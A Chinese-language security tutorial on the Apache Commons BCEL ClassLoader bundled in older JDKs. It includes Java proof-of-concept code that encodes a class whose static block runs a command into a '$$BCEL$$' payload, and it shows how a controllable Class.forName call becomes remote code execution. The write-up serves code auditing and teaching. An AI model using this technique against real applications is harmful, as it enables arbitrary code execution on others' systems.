BCEL 介绍
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections
。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel
。
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。同时在Tomcat中也会存在相关的依赖。
tomcat7
: org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8 及其以后
: org.apache.tomcat.dbcp.dbcp2.BasicDataSource
BCEL 加载类的原理 && 恶意 EXP 编写
在研究之前, 我们先准备一个Calc类
, 代码如下:
public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}
当类被加载, 则进入 static
代码块, 进行弹出计算器的操作. 下面我们再来分析BCEL
类的加载原理.
在rt.jar!/com/sun/org/apache/bcel/internal/util/
包下,有ClassLoader这么一个类,可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()方法, 具体其他的也不多说, 直接看源码分析:
那么我们拿到一个类的字节码值有一种方式就是, 运行Java后, 读取所生成的.class
文件的内容, 但是这样有点太麻烦, 有没有什么方式可以在我们运行Java中来得到字节码的信息呢?
答案是有的, 那就是Repository.lookupClass(Class<?> clazz)
方法, 该方法可以在程序运行中读取一个class
信息, 例如:
package com.heihu577;import com.sun.org.apache.bcel.internal.Repository;public class Main {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {JavaClass javaclass = Repository.lookupClass(Calc.class);System.out.println(javaclass);/** public class com.heihu577.bean.Calc extends java.lang.Objectfilename com.heihu577.bean.Calccompiled from Calc.javacompiler version 52.0access flags 33constant pool 38 entriesACC_SUPER flag trueAttribute(s):SourceFile(Calc.java)2 methods:public void <init>()static void <clinit>()* */System.out.println(Arrays.toString(javaclass.getBytes())); // 生成的字节码信息.../** [-54, -2, -70, -66, 0, 0, 0, 52, 0, 38, 10, 0, 8, 0, 23, 10, 0, 24, 0, 25 ...* */}
}
当然了, 它的原理如下:
那么最终, 我们可以通过如下代码进行调用我们的Calc
:
public class Main {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {JavaClass calcJavaClass = Repository.lookupClass(Calc.class); // 得到 Calc 类的 JavaClassString calcEncode = Utility.encode(calcJavaClass.getBytes(), true); // 使用 Utility.encode 编码 Calc 的字节码// calcJavaClass.getBytes()是用来获取字节码的String payload = "$$BCEL$$" + calcEncode; // 得到最终 payloadClass<?> clazz = new ClassLoader().loadClass(payload); // 最终得到该类的 clazzObject o = clazz.newInstance(); // 初始化类, 调用 static 静态代码块, 弹出计算器}
}
运行结果如下:
代码审计时使用场景
通常当我们遇到Class.forName(可控,true,可控)
时, 即可触发漏洞.
参数1: 调用 loadClass(可控) 的值
参数2: 当设置为 true 时, 则表示加载类, 这里可以直接进入到类的 static 静态代码块.
参数3: 使用哪个 ClassLoader 进行加载, 如果这里可以指定, 那么我们可以指定 BCEL ClassLoader 进行加载.
我们就可以进行一个RCE, 案例如下:
public class Main {public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException,InvocationTargetException, IllegalAccessException, InstantiationException {JavaClass calcJavaClass = Repository.lookupClass(Calc.class);String calcEncode = Utility.encode(calcJavaClass.getBytes(), true);String payload = "$$BCEL$$" + calcEncode;Class.forName(payload, true,(ClassLoader) "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance());// 执行完毕后, 可以弹出计算器}
}
当然了, 这里我们也可以看一下Class.forName(String)
的定义, 来理解为什么Class.forName(类名)
可以直接进入到静态代码块:
@CallerSensitive
public static Class<?> forName(String className)throws ClassNotFoundException {Class<?> caller = Reflection.getCallerClass();return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}
可以从中看到, 默认第二个参数设置为了 true, 所以可以直接进入 static 静态代码块.